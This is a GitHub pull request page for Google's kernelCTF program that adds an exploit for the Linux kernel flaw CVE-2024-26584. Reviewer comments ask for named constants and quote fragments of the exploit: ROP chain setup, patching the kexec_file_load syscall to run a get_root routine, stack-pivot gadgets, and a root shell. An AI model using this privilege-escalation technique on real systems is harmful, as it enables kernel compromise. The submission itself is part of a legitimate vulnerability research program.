Skip to content

kernelCTF: add CVE-2024-26584_lts_cos#298

Open
lambdasprocket wants to merge 1 commit intogoogle:masterfrom
lambdasprocket:CVE-2024-26584_lts_cos
Open

kernelCTF: add CVE-2024-26584_lts_cos#298
lambdasprocket wants to merge 1 commit intogoogle:masterfrom
lambdasprocket:CVE-2024-26584_lts_cos

Conversation

@lambdasprocket
Copy link
Copy Markdown
Contributor

No description provided.

@koczkatamas koczkatamas added the kCTF: vuln OK The submission exploits the claims vulnerability (passed manual verification) label Jan 16, 2026

static char *g_sh_argv[] = {"sh", NULL};

static int g_status;
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unused global variable g_status. Remove the global variable and pass NULL to waitpid if the status is not needed.

"push %r12\n"
"push %rbx\n"
"push %rbp\n"
"lea -0x18fb41(%rip), %r15\n"
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic offset -0x18fb41 used in inline assembly. Add a comment explaining it.

Check the 'Name and/or comment numeric constants' section of the style guide.

{
uint64_t *rop2_start = rop2;

rop_patch_kernel_code(&rop2, kaddr(SYS_KEXEC_FILE_LOAD), (uint64_t) get_root, 0x200);
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic number 0x200 used for patch size. Define the patch size as a named constant.

See the 'Name and/or comment numeric constants' section of the style guide.

rop_patch_kernel_code(&rop2, kaddr(SYS_KEXEC_FILE_LOAD), (uint64_t) get_root, 0x200);

*rop2++ = kaddr(POP_RDI);
*rop2++ = 10000000;
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic number 10000000 used for sleep duration. Define the sleep duration as a named constant or add a comment.

Check the 'Name and/or comment numeric constants' section of the style guide.

struct cmsghdr *cmsg;
struct af_alg_iv *iv;
struct iovec iov;
char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)] = {0};
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic numbers 4 and 20 used for control message sizes. Define the sizes as named constants.

See the 'Name and/or comment numeric constants' section of the style guide.

if (g_rop2_len > ROP2_CONST_OFFSET)
err(1, "Stage 2 ROP size too big: %d > %d\n", g_rop2_len, ROP2_CONST_OFFSET);

char *backlog = g_mmapped_buf + 0x7e0;
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic offset 0x7d8. Define the offset as a named constant or add a comment.

See the 'Name and/or comment numeric constants' section of the style guide.

0xffffffff81ed2b63: mov rdx, r15
0xffffffff81ed2b66: call __x86_indirect_thunk_r8
*/
*(uint64_t *) (backlog + 0x10) = kaddr(G1);
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic offset 0x10. Define the offset as a named constant or add a comment.

Check the 'Name and/or comment numeric constants' section of the style guide.

0xffffffff81ed2b66: call __x86_indirect_thunk_r8
*/
*(uint64_t *) (backlog + 0x10) = kaddr(G1);
*(uint64_t *) (backlog + 0xc8) = kaddr(PUSH_RSI_JMP_QWORD_RSI_66);
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic offset 0xc8. Define the offset as a named constant or add a comment.

See the 'Name and/or comment numeric constants' section of the style guide.

*/
*(uint64_t *) (backlog + 0x10) = kaddr(G1);
*(uint64_t *) (backlog + 0xc8) = kaddr(PUSH_RSI_JMP_QWORD_RSI_66);
*(uint64_t *) (backlog + 0x66) = kaddr(POP_RSP);
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic offset 0x66. Define the offset as a named constant or add a comment.

See the 'Name and/or comment numeric constants' section of the style guide.

syscall(__NR_kexec_file_load);

after_pwn();

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Uncommented sleep() call. Add a comment explaining why the sleep is necessary.

See the 'Sleeping & waiting' section of the style guide.

@artmetla
Copy link
Copy Markdown
Collaborator

@lambdasprocket Thanks for the great submission! Please review, fix or answer comments so that we could proceed with merging the PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

kCTF: vuln OK The submission exploits the claims vulnerability (passed manual verification)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants